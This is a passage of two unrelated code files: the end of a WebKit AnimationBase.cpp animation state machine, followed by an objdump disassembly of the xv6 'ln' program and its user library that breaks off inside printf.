m_animState = AnimationStatePausedWaitResponse;
}
break;
case AnimationStateLooping:
ASSERT(input == AnimationStateInputLoopTimerFired || input == AnimationStateInputPlayStatePaused);
if (input == AnimationStateInputLoopTimerFired) {
ASSERT(param >= 0);
// Loop timer fired, loop again or end.
onAnimationIteration(param);
// Decide whether to go into looping or ending state
goIntoEndingOrLoopingState();
} else {
// We are pausing while running. Cancel the animation and wait
m_pauseTime = beginAnimationUpdateTime();
pauseAnimation(beginAnimationUpdateTime() - m_startTime);
m_animState = AnimationStatePausedRun;
}
break;
case AnimationStateEnding:
ASSERT(input == AnimationStateInputEndTimerFired || input == AnimationStateInputPlayStatePaused);
if (input == AnimationStateInputEndTimerFired) {
ASSERT(param >= 0);
// End timer fired, finish up
onAnimationEnd(param);
m_animState = AnimationStateDone;
if (m_object) {
resumeOverriddenAnimations();
// Fire off another style change so we can set the final value
m_compAnim->animationController()->addNodeChangeToDispatch(m_object->node());
}
} else {
// We are pausing while running. Cancel the animation and wait
m_pauseTime = beginAnimationUpdateTime();
pauseAnimation(beginAnimationUpdateTime() - m_startTime);
m_animState = AnimationStatePausedRun;
}
// |this| may be deleted here
break;
case AnimationStatePausedWaitTimer:
ASSERT(input == AnimationStateInputPlayStateRunnning);
ASSERT(paused());
// Update the times
m_startTime += beginAnimationUpdateTime() - m_pauseTime;
m_pauseTime = -1;
// we were waiting for the start timer to fire, go back and wait again
m_animState = AnimationStateNew;
updateStateMachine(AnimationStateInputStartAnimation, 0);
break;
case AnimationStatePausedWaitResponse:
case AnimationStatePausedRun:
// We treat these two cases the same. The only difference is that, when we are in
// AnimationStatePausedWaitResponse, we don't yet have a valid startTime, so we send 0 to startAnimation.
// When the AnimationStateInputStartTimeSet comes in and we were in AnimationStatePausedRun, we will notice
// that we have already set the startTime and will ignore it.
ASSERT(input == AnimationStateInputPlayStateRunnning || input == AnimationStateInputStartTimeSet);
ASSERT(paused());
// If we are paused, but we get the callback that notifies us that an accelerated animation started,
// then we ignore the start time and just move into the paused-run state.
if (m_animState == AnimationStatePausedWaitResponse && input == AnimationStateInputStartTimeSet) {
m_animState = AnimationStatePausedRun;
ASSERT(m_startTime == 0);
m_startTime = param;
m_pauseTime += m_startTime;
break;
}
// Update the times
if (m_animState == AnimationStatePausedRun)
m_startTime += beginAnimationUpdateTime() - m_pauseTime;
else
m_startTime = 0;
m_pauseTime = -1;
// We were waiting for a begin time response from the animation, go back and wait again
m_animState = AnimationStateStartWaitResponse;
// Start the animation
if (overridden()) {
// We won't try to start accelerated animations if we are overridden and
// just move on to the next state.
updateStateMachine(AnimationStateInputStartTimeSet, beginAnimationUpdateTime());
m_fallbackAnimating = true;
} else {
bool started = startAnimation(beginAnimationUpdateTime() - m_startTime);
m_compAnim->animationController()->addToStartTimeResponseWaitList(this, started);
m_fallbackAnimating = !started;
}
break;
case AnimationStateDone:
// We're done. Stay in this state until we are deleted
break;
}
}
void AnimationBase::fireAnimationEventsIfNeeded()
{
// If we are waiting for the delay time to expire and it has, go to the next state
if (m_animState != AnimationStateStartWaitTimer && m_animState != AnimationStateLooping && m_animState != AnimationStateEnding)
return;
// We have to make sure to keep a ref to the this pointer, because it could get destroyed
// during an animation callback that might get called. Since the owner is a CompositeAnimation
// and it ref counts this object, we will keep a ref to that instead. That way the AnimationBase
// can still access the resources of its CompositeAnimation as needed.
RefPtr<AnimationBase> protector(this);
RefPtr<CompositeAnimation> compProtector(m_compAnim);
// Check for start timeout
if (m_animState == AnimationStateStartWaitTimer) {
if (beginAnimationUpdateTime() - m_requestedStartTime >= m_animation->delay())
updateStateMachine(AnimationStateInputStartTimerFired, 0);
return;
}
double elapsedDuration = beginAnimationUpdateTime() - m_startTime;
// FIXME: we need to ensure that elapsedDuration is never < 0. If it is, this suggests that
// we had a recalcStyle() outside of beginAnimationUpdate()/endAnimationUpdate().
// Also check in getTimeToNextEvent().
elapsedDuration = max(elapsedDuration, 0.0);
// Check for end timeout
if (m_totalDuration >= 0 && elapsedDuration >= m_totalDuration) {
// Fire an end event
updateStateMachine(AnimationStateInputEndTimerFired, m_totalDuration);
} else {
// Check for iteration timeout
if (m_nextIterationDuration < 0) {
// Hasn't been set yet, set it
double durationLeft = m_animation->duration() - fmod(elapsedDuration, m_animation->duration());
m_nextIterationDuration = elapsedDuration + durationLeft;
}
if (elapsedDuration >= m_nextIterationDuration) {
// Set to the next iteration
double previous = m_nextIterationDuration;
double durationLeft = m_animation->duration() - fmod(elapsedDuration, m_animation->duration());
m_nextIterationDuration = elapsedDuration + durationLeft;
// Send the event
updateStateMachine(AnimationStateInputLoopTimerFired, previous);
}
}
}
void AnimationBase::updatePlayState(bool run)
{
if (paused() == run || isNew())
updateStateMachine(run ? AnimationStateInputPlayStateRunnning : AnimationStateInputPlayStatePaused, -1);
}
double AnimationBase::timeToNextService()
{
// Returns the time at which next service is required. -1 means no service is required. 0 means
// service is required now, and > 0 means service is required that many seconds in the future.
if (paused() || isNew())
return -1;
if (m_animState == AnimationStateStartWaitTimer) {
double timeFromNow = m_animation->delay() - (beginAnimationUpdateTime() - m_requestedStartTime);
return max(timeFromNow, 0.0);
}
fireAnimationEventsIfNeeded();
// In all other cases, we need service right away.
return 0;
}
double AnimationBase::progress(double scale, double offset, const TimingFunction* tf) const
{
if (preActive())
return 0;
double elapsedTime = getElapsedTime();
double dur = m_animation->duration();
if (m_animation->iterationCount() > 0)
dur *= m_animation->iterationCount();
if (postActive() || !m_animation->duration() || (m_animation->iterationCount() > 0 && elapsedTime >= dur))
return 1.0;
// Compute the fractional time, taking into account direction.
// There is no need to worry about iterations, we assume that we would have
// short circuited above if we were done.
double fractionalTime = elapsedTime / m_animation->duration();
int integralTime = static_cast<int>(fractionalTime);
fractionalTime -= integralTime;
if (m_animation->direction() && (integralTime & 1))
fractionalTime = 1 - fractionalTime;
if (scale != 1 || offset)
fractionalTime = (fractionalTime - offset) * scale;
if (!tf)
tf = &m_animation->timingFunction();
if (tf->type() == LinearTimingFunction)
return fractionalTime;
// Cubic bezier.
double result = solveCubicBezierFunction(tf->x1(),
tf->y1(),
tf->x2(),
tf->y2(),
fractionalTime, m_animation->duration());
return result;
}
void AnimationBase::getTimeToNextEvent(double& time, bool& isLooping) const
{
// Decide when the end or loop event needs to fire
double totalDuration = -1;
if (m_animation->iterationCount() > 0)
totalDuration = m_animation->duration() * m_animation->iterationCount();
const double elapsedDuration = max(beginAnimationUpdateTime() - m_startTime, 0.0);
double durationLeft = 0;
double nextIterationTime = m_totalDuration;
if (m_totalDuration < 0 || elapsedDuration < m_totalDuration) {
durationLeft = m_animation->duration() > 0 ? (m_animation->duration() - fmod(elapsedDuration, m_animation->duration())) : 0;
nextIterationTime = elapsedDuration + durationLeft;
}
if (m_totalDuration < 0 || nextIterationTime < m_totalDuration) {
// We are not at the end yet
ASSERT(nextIterationTime > 0);
isLooping = true;
} else {
// We are at the end
isLooping = false;
}
time = durationLeft;
}
void AnimationBase::goIntoEndingOrLoopingState()
{
double t;
bool isLooping;
getTimeToNextEvent(t, isLooping);
m_animState = isLooping ? AnimationStateLooping : AnimationStateEnding;
}
void AnimationBase::freezeAtTime(double t)
{
ASSERT(m_startTime); // if m_startTime is zero, we haven't started yet, so we'll get a bad pause time.
m_pauseTime = m_startTime + t - m_animation->delay();
#if USE(ACCELERATED_COMPOSITING)
if (m_object && m_object->hasLayer()) {
RenderLayer* layer = toRenderBoxModelObject(m_object)->layer();
if (layer->isComposited())
layer->backing()->suspendAnimations(m_pauseTime);
}
#endif
}
double AnimationBase::beginAnimationUpdateTime() const
{
return m_compAnim->animationController()->beginAnimationUpdateTime();
}
double AnimationBase::getElapsedTime() const
{
if (paused())
return m_pauseTime - m_startTime;
if (m_startTime <= 0)
return 0;
if (postActive())
return 1;
return beginAnimationUpdateTime() - m_startTime;
}
#if PLATFORM(WKC)
void AnimationBase::deleteSharedInstance()
{
delete gPropertyWrappers;
}
void AnimationBase::resetVariables()
{
gPropertyWrappers = 0;
}
#endif
} // namespace WebCore
|
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc != 3){
12: 83 39 03 cmpl $0x3,(%ecx)
15: 74 14 je 2b <main+0x2b>
printf(2, "Usage: ln old new\n");
17: 83 ec 08 sub $0x8,%esp
1a: 68 fc 05 00 00 push $0x5fc
1f: 6a 02 push $0x2
21: e8 1d 03 00 00 call 343 <printf>
exit();
26: e8 be 01 00 00 call 1e9 <exit>
}
if(link(argv[1], argv[2]) < 0)
2b: 83 ec 08 sub $0x8,%esp
2e: ff 73 08 pushl 0x8(%ebx)
31: ff 73 04 pushl 0x4(%ebx)
34: e8 10 02 00 00 call 249 <link>
39: 83 c4 10 add $0x10,%esp
3c: 85 c0 test %eax,%eax
3e: 78 05 js 45 <main+0x45>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit();
40: e8 a4 01 00 00 call 1e9 <exit>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
45: ff 73 08 pushl 0x8(%ebx)
48: ff 73 04 pushl 0x4(%ebx)
4b: 68 0f 06 00 00 push $0x60f
50: 6a 02 push $0x2
52: e8 ec 02 00 00 call 343 <printf>
57: 83 c4 10 add $0x10,%esp
5a: eb e4 jmp 40 <main+0x40>
0000005c <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
5c: 55 push %ebp
5d: 89 e5 mov %esp,%ebp
5f: 53 push %ebx
60: 8b 45 08 mov 0x8(%ebp),%eax
63: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
66: 89 c2 mov %eax,%edx
68: 0f b6 19 movzbl (%ecx),%ebx
6b: 88 1a mov %bl,(%edx)
6d: 8d 52 01 lea 0x1(%edx),%edx
70: 8d 49 01 lea 0x1(%ecx),%ecx
73: 84 db test %bl,%bl
75: 75 f1 jne 68 <strcpy+0xc>
;
return os;
}
77: 5b pop %ebx
78: 5d pop %ebp
79: c3 ret
0000007a <strcmp>:
int
strcmp(const char *p, const char *q)
{
7a: 55 push %ebp
7b: 89 e5 mov %esp,%ebp
7d: 8b 4d 08 mov 0x8(%ebp),%ecx
80: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
83: eb 06 jmp 8b <strcmp+0x11>
p++, q++;
85: 83 c1 01 add $0x1,%ecx
88: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
8b: 0f b6 01 movzbl (%ecx),%eax
8e: 84 c0 test %al,%al
90: 74 04 je 96 <strcmp+0x1c>
92: 3a 02 cmp (%edx),%al
94: 74 ef je 85 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
96: 0f b6 c0 movzbl %al,%eax
99: 0f b6 12 movzbl (%edx),%edx
9c: 29 d0 sub %edx,%eax
}
9e: 5d pop %ebp
9f: c3 ret
000000a0 <strlen>:
uint
strlen(const char *s)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
a6: ba 00 00 00 00 mov $0x0,%edx
ab: eb 03 jmp b0 <strlen+0x10>
ad: 83 c2 01 add $0x1,%edx
b0: 89 d0 mov %edx,%eax
b2: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b6: 75 f5 jne ad <strlen+0xd>
;
return n;
}
b8: 5d pop %ebp
b9: c3 ret
000000ba <memset>:
void*
memset(void *dst, int c, uint n)
{
ba: 55 push %ebp
bb: 89 e5 mov %esp,%ebp
bd: 57 push %edi
be: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
c1: 89 d7 mov %edx,%edi
c3: 8b 4d 10 mov 0x10(%ebp),%ecx
c6: 8b 45 0c mov 0xc(%ebp),%eax
c9: fc cld
ca: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
cc: 89 d0 mov %edx,%eax
ce: 5f pop %edi
cf: 5d pop %ebp
d0: c3 ret
000000d1 <strchr>:
char*
strchr(const char *s, char c)
{
d1: 55 push %ebp
d2: 89 e5 mov %esp,%ebp
d4: 8b 45 08 mov 0x8(%ebp),%eax
d7: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
db: 0f b6 10 movzbl (%eax),%edx
de: 84 d2 test %dl,%dl
e0: 74 09 je eb <strchr+0x1a>
if(*s == c)
e2: 38 ca cmp %cl,%dl
e4: 74 0a je f0 <strchr+0x1f>
for(; *s; s++)
e6: 83 c0 01 add $0x1,%eax
e9: eb f0 jmp db <strchr+0xa>
return (char*)s;
return 0;
eb: b8 00 00 00 00 mov $0x0,%eax
}
f0: 5d pop %ebp
f1: c3 ret
000000f2 <gets>:
char*
gets(char *buf, int max)
{
f2: 55 push %ebp
f3: 89 e5 mov %esp,%ebp
f5: 57 push %edi
f6: 56 push %esi
f7: 53 push %ebx
f8: 83 ec 1c sub $0x1c,%esp
fb: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
fe: bb 00 00 00 00 mov $0x0,%ebx
103: 8d 73 01 lea 0x1(%ebx),%esi
106: 3b 75 0c cmp 0xc(%ebp),%esi
109: 7d 2e jge 139 <gets+0x47>
cc = read(0, &c, 1);
10b: 83 ec 04 sub $0x4,%esp
10e: 6a 01 push $0x1
110: 8d 45 e7 lea -0x19(%ebp),%eax
113: 50 push %eax
114: 6a 00 push $0x0
116: e8 e6 00 00 00 call 201 <read>
if(cc < 1)
11b: 83 c4 10 add $0x10,%esp
11e: 85 c0 test %eax,%eax
120: 7e 17 jle 139 <gets+0x47>
break;
buf[i++] = c;
122: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
126: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
129: 3c 0a cmp $0xa,%al
12b: 0f 94 c2 sete %dl
12e: 3c 0d cmp $0xd,%al
130: 0f 94 c0 sete %al
buf[i++] = c;
133: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
135: 08 c2 or %al,%dl
137: 74 ca je 103 <gets+0x11>
break;
}
buf[i] = '\0';
139: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
13d: 89 f8 mov %edi,%eax
13f: 8d 65 f4 lea -0xc(%ebp),%esp
142: 5b pop %ebx
143: 5e pop %esi
144: 5f pop %edi
145: 5d pop %ebp
146: c3 ret
00000147 <stat>:
int
stat(const char *n, struct stat *st)
{
147: 55 push %ebp
148: 89 e5 mov %esp,%ebp
14a: 56 push %esi
14b: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
14c: 83 ec 08 sub $0x8,%esp
14f: 6a 00 push $0x0
151: ff 75 08 pushl 0x8(%ebp)
154: e8 d0 00 00 00 call 229 <open>
if(fd < 0)
159: 83 c4 10 add $0x10,%esp
15c: 85 c0 test %eax,%eax
15e: 78 24 js 184 <stat+0x3d>
160: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
162: 83 ec 08 sub $0x8,%esp
165: ff 75 0c pushl 0xc(%ebp)
168: 50 push %eax
169: e8 d3 00 00 00 call 241 <fstat>
16e: 89 c6 mov %eax,%esi
close(fd);
170: 89 1c 24 mov %ebx,(%esp)
173: e8 99 00 00 00 call 211 <close>
return r;
178: 83 c4 10 add $0x10,%esp
}
17b: 89 f0 mov %esi,%eax
17d: 8d 65 f8 lea -0x8(%ebp),%esp
180: 5b pop %ebx
181: 5e pop %esi
182: 5d pop %ebp
183: c3 ret
return -1;
184: be ff ff ff ff mov $0xffffffff,%esi
189: eb f0 jmp 17b <stat+0x34>
0000018b <atoi>:
int
atoi(const char *s)
{
18b: 55 push %ebp
18c: 89 e5 mov %esp,%ebp
18e: 53 push %ebx
18f: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
192: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
197: eb 10 jmp 1a9 <atoi+0x1e>
n = n*10 + *s++ - '0';
199: 8d 1c 80 lea (%eax,%eax,4),%ebx
19c: 8d 04 1b lea (%ebx,%ebx,1),%eax
19f: 83 c1 01 add $0x1,%ecx
1a2: 0f be d2 movsbl %dl,%edx
1a5: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
1a9: 0f b6 11 movzbl (%ecx),%edx
1ac: 8d 5a d0 lea -0x30(%edx),%ebx
1af: 80 fb 09 cmp $0x9,%bl
1b2: 76 e5 jbe 199 <atoi+0xe>
return n;
}
1b4: 5b pop %ebx
1b5: 5d pop %ebp
1b6: c3 ret
000001b7 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
1b7: 55 push %ebp
1b8: 89 e5 mov %esp,%ebp
1ba: 56 push %esi
1bb: 53 push %ebx
1bc: 8b 45 08 mov 0x8(%ebp),%eax
1bf: 8b 5d 0c mov 0xc(%ebp),%ebx
1c2: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
1c5: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
1c7: eb 0d jmp 1d6 <memmove+0x1f>
*dst++ = *src++;
1c9: 0f b6 13 movzbl (%ebx),%edx
1cc: 88 11 mov %dl,(%ecx)
1ce: 8d 5b 01 lea 0x1(%ebx),%ebx
1d1: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
1d4: 89 f2 mov %esi,%edx
1d6: 8d 72 ff lea -0x1(%edx),%esi
1d9: 85 d2 test %edx,%edx
1db: 7f ec jg 1c9 <memmove+0x12>
return vdst;
}
1dd: 5b pop %ebx
1de: 5e pop %esi
1df: 5d pop %ebp
1e0: c3 ret
000001e1 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1e1: b8 01 00 00 00 mov $0x1,%eax
1e6: cd 40 int $0x40
1e8: c3 ret
000001e9 <exit>:
SYSCALL(exit)
1e9: b8 02 00 00 00 mov $0x2,%eax
1ee: cd 40 int $0x40
1f0: c3 ret
000001f1 <wait>:
SYSCALL(wait)
1f1: b8 03 00 00 00 mov $0x3,%eax
1f6: cd 40 int $0x40
1f8: c3 ret
000001f9 <pipe>:
SYSCALL(pipe)
1f9: b8 04 00 00 00 mov $0x4,%eax
1fe: cd 40 int $0x40
200: c3 ret
00000201 <read>:
SYSCALL(read)
201: b8 05 00 00 00 mov $0x5,%eax
206: cd 40 int $0x40
208: c3 ret
00000209 <write>:
SYSCALL(write)
209: b8 10 00 00 00 mov $0x10,%eax
20e: cd 40 int $0x40
210: c3 ret
00000211 <close>:
SYSCALL(close)
211: b8 15 00 00 00 mov $0x15,%eax
216: cd 40 int $0x40
218: c3 ret
00000219 <kill>:
SYSCALL(kill)
219: b8 06 00 00 00 mov $0x6,%eax
21e: cd 40 int $0x40
220: c3 ret
00000221 <exec>:
SYSCALL(exec)
221: b8 07 00 00 00 mov $0x7,%eax
226: cd 40 int $0x40
228: c3 ret
00000229 <open>:
SYSCALL(open)
229: b8 0f 00 00 00 mov $0xf,%eax
22e: cd 40 int $0x40
230: c3 ret
00000231 <mknod>:
SYSCALL(mknod)
231: b8 11 00 00 00 mov $0x11,%eax
236: cd 40 int $0x40
238: c3 ret
00000239 <unlink>:
SYSCALL(unlink)
239: b8 12 00 00 00 mov $0x12,%eax
23e: cd 40 int $0x40
240: c3 ret
00000241 <fstat>:
SYSCALL(fstat)
241: b8 08 00 00 00 mov $0x8,%eax
246: cd 40 int $0x40
248: c3 ret
00000249 <link>:
SYSCALL(link)
249: b8 13 00 00 00 mov $0x13,%eax
24e: cd 40 int $0x40
250: c3 ret
00000251 <mkdir>:
SYSCALL(mkdir)
251: b8 14 00 00 00 mov $0x14,%eax
256: cd 40 int $0x40
258: c3 ret
00000259 <chdir>:
SYSCALL(chdir)
259: b8 09 00 00 00 mov $0x9,%eax
25e: cd 40 int $0x40
260: c3 ret
00000261 <dup>:
SYSCALL(dup)
261: b8 0a 00 00 00 mov $0xa,%eax
266: cd 40 int $0x40
268: c3 ret
00000269 <getpid>:
SYSCALL(getpid)
269: b8 0b 00 00 00 mov $0xb,%eax
26e: cd 40 int $0x40
270: c3 ret
00000271 <sbrk>:
SYSCALL(sbrk)
271: b8 0c 00 00 00 mov $0xc,%eax
276: cd 40 int $0x40
278: c3 ret
00000279 <sleep>:
SYSCALL(sleep)
279: b8 0d 00 00 00 mov $0xd,%eax
27e: cd 40 int $0x40
280: c3 ret
00000281 <uptime>:
SYSCALL(uptime)
281: b8 0e 00 00 00 mov $0xe,%eax
286: cd 40 int $0x40
288: c3 ret
00000289 <setpri>:
SYSCALL(setpri)
289: b8 16 00 00 00 mov $0x16,%eax
28e: cd 40 int $0x40
290: c3 ret
00000291 <getpri>:
SYSCALL(getpri)
291: b8 17 00 00 00 mov $0x17,%eax
296: cd 40 int $0x40
298: c3 ret
00000299 <fork2>:
SYSCALL(fork2)
299: b8 18 00 00 00 mov $0x18,%eax
29e: cd 40 int $0x40
2a0: c3 ret
000002a1 <getpinfo>:
SYSCALL(getpinfo)
2a1: b8 19 00 00 00 mov $0x19,%eax
2a6: cd 40 int $0x40
2a8: c3 ret
000002a9 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
2a9: 55 push %ebp
2aa: 89 e5 mov %esp,%ebp
2ac: 83 ec 1c sub $0x1c,%esp
2af: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
2b2: 6a 01 push $0x1
2b4: 8d 55 f4 lea -0xc(%ebp),%edx
2b7: 52 push %edx
2b8: 50 push %eax
2b9: e8 4b ff ff ff call 209 <write>
}
2be: 83 c4 10 add $0x10,%esp
2c1: c9 leave
2c2: c3 ret
000002c3 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
2c3: 55 push %ebp
2c4: 89 e5 mov %esp,%ebp
2c6: 57 push %edi
2c7: 56 push %esi
2c8: 53 push %ebx
2c9: 83 ec 2c sub $0x2c,%esp
2cc: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
2ce: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
2d2: 0f 95 c3 setne %bl
2d5: 89 d0 mov %edx,%eax
2d7: c1 e8 1f shr $0x1f,%eax
2da: 84 c3 test %al,%bl
2dc: 74 10 je 2ee <printint+0x2b>
neg = 1;
x = -xx;
2de: f7 da neg %edx
neg = 1;
2e0: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
2e7: be 00 00 00 00 mov $0x0,%esi
2ec: eb 0b jmp 2f9 <printint+0x36>
neg = 0;
2ee: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
2f5: eb f0 jmp 2e7 <printint+0x24>
do{
buf[i++] = digits[x % base];
2f7: 89 c6 mov %eax,%esi
2f9: 89 d0 mov %edx,%eax
2fb: ba 00 00 00 00 mov $0x0,%edx
300: f7 f1 div %ecx
302: 89 c3 mov %eax,%ebx
304: 8d 46 01 lea 0x1(%esi),%eax
307: 0f b6 92 2c 06 00 00 movzbl 0x62c(%edx),%edx
30e: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
312: 89 da mov %ebx,%edx
314: 85 db test %ebx,%ebx
316: 75 df jne 2f7 <printint+0x34>
318: 89 c3 mov %eax,%ebx
if(neg)
31a: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
31e: 74 16 je 336 <printint+0x73>
buf[i++] = '-';
320: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
325: 8d 5e 02 lea 0x2(%esi),%ebx
328: eb 0c jmp 336 <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
32a: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
32f: 89 f8 mov %edi,%eax
331: e8 73 ff ff ff call 2a9 <putc>
while(--i >= 0)
336: 83 eb 01 sub $0x1,%ebx
339: 79 ef jns 32a <printint+0x67>
}
33b: 83 c4 2c add $0x2c,%esp
33e: 5b pop %ebx
33f: 5e pop %esi
340: 5f pop %edi
341: 5d pop %ebp
342: c3 ret
00000343 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
343: 55 push %ebp
344: 89 e5 mov %esp,%ebp
346: 57 push %edi
347: 56 push %esi
348: 53 push %ebx
349: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
34c: 8d 45 10 lea 0x10(%ebp),%eax
34f: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
352: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
357: bb 00 00 00 00 mov $0x0,%ebx
35c: eb 14 jmp 372 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
35e: 89 fa mov %edi,%edx
360: 8b 45 08 mov 0x8(%ebp),%eax
363: e8 41 ff ff ff call 2a9 <putc>
368: eb 05 jmp 36f <printf+0x2c>
}
} else if(state == '%'){
36a: 83 fe 25 cmp $0x25,%esi
36d: 74 25 je 394 <printf+0x51>
for(i = 0; fmt[i]; i++){
36f: 83 c3 01 add $0x1,%ebx
372: 8b 45 0c mov 0xc(%ebp),%eax
375: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
379: 84 c0 test %al,%al
37b: 0f 84 23 01 00 00 je 4a4 <printf+0x161>
c = fmt[i] & 0xff;
381: 0f be f8 movsbl %al,%edi
384: 0f b6 c0 movzbl %al,%eax
if(state == 0){
387: 85 f6 test %esi,%esi
389: 75 df jne 36a <printf+0x27>
if(c == '%'){
38b: 83 f8 25 cmp $0x25,%eax
38e: 75 ce jne 35e <printf+0x1b>
state = '%';
390: 89 c6 mov %eax,%esi
392: eb db jmp 36f <printf+0x2c>
if(c == 'd'){
394: 83 f8 64 cmp $0x64,%eax
397: 74 49 je 3e2 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
399: 83 f8 78 cmp $0x78,%eax
39c: 0f 94 c1 sete %cl
39f: 83 f8 70 cmp $0x70,%eax
3a2: 0f 94 c2 sete %dl
3a5: 08 d1 or %dl,%cl
3a7: 75 63 jne 40c <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3a9: 83 f8 73 cmp $0x73,%eax
3ac: 0f 84 84 00 00 00 je 436 <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3b2: 83 f8 63 cmp $0x63,%eax
3b5: 0f 84 b7 00 00 00 je 472 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3bb: 83 f8 25 cmp $0x25,%eax
3be: 0f 84 cc 00 00 00 je 490 <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
3c4: ba 25 00 00 00 mov $0x25,%edx
3c9: 8b 45 08 mov 0x8(%ebp),%eax
3cc: e8 d8 fe ff ff call 2a9 <putc>
putc(fd, c);
3d1: 89 fa mov %edi,%edx
3d3: 8b 45 08 mov 0x8(%ebp),%eax
3d6: e8 ce fe ff ff call 2a9 <putc>
}
state = 0;
3db: be 00 00 00 00 mov $0x0,%esi
3e0: eb 8d jmp 36f <printf+0x2c>
printint(fd, *ap, 10, 1);
3e2: 8b 7d e4 mov -0x1c(%ebp),%edi
3e5: 8b 17 mov (%edi),%edx
3e7: 83 ec 0c sub $0xc,%esp
3ea: 6a 01 push $0x1
3ec: b9 0a 00 00 00 mov $0xa,%ecx
3f1: 8b 45 08 mov 0x8(%ebp),%eax
3f4: e8 ca fe ff ff call 2c3 <printint>
ap++;
3f9: 83 c7 04 add $0x4,%edi
3fc: 89 7d e4 mov %edi,-0x1c(%ebp)
3ff: 83 c4 10 add $0x10,%esp
state = 0;
402: be 00 00 00 00 mov $0x0,%esi
407: e9 63 ff ff ff jmp 36f <printf+0x2c>
printint(fd, *ap, 16, 0);
40c: 8b 7d e4 mov -0x1c(%ebp),%edi
40f: 8b 17 mov (%edi),%edx
411: 83 ec 0c sub $0xc,%esp
414: 6a 00 push $0x0
416: b9 10 00 00 00 mov $0x10,%ecx
41b: 8b 45 08 mov 0x8(%ebp),%eax
41e: e8 a0 fe ff ff call 2c3 <printint>
ap++;
423: 83 c7 04 add $0x4,%edi
426: 89 7d e4 mov %edi,-0x1c(%ebp)
429: 83 c4 10 add $0x10,%esp
state = 0;
42c: be 00 00 00 00 mov $0x0,%esi
431: e9 39 ff ff ff jmp 36f <printf+0x2c>
s = (char*)*ap;
436: 8b 45 e4 mov -0x1c(%ebp),%eax
439: 8b 30 mov (%eax),%esi
ap++;
43b: 83 c0 04 add $0x4,%eax
43e: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
441: 85 f6 test %esi,%esi
443: 75 28 jne 46d <printf+0x12a>
s = "(null)";
445: be 23 06 00 00 mov $0x623,%esi
44a: 8b 7d 08 mov 0x8(%ebp),%edi
44d: eb 0d jmp 45c <printf+0x119>
putc(fd, *s);
44f: 0f be d2 movsbl %dl,%edx
452: 89 f8 mov %edi,%eax
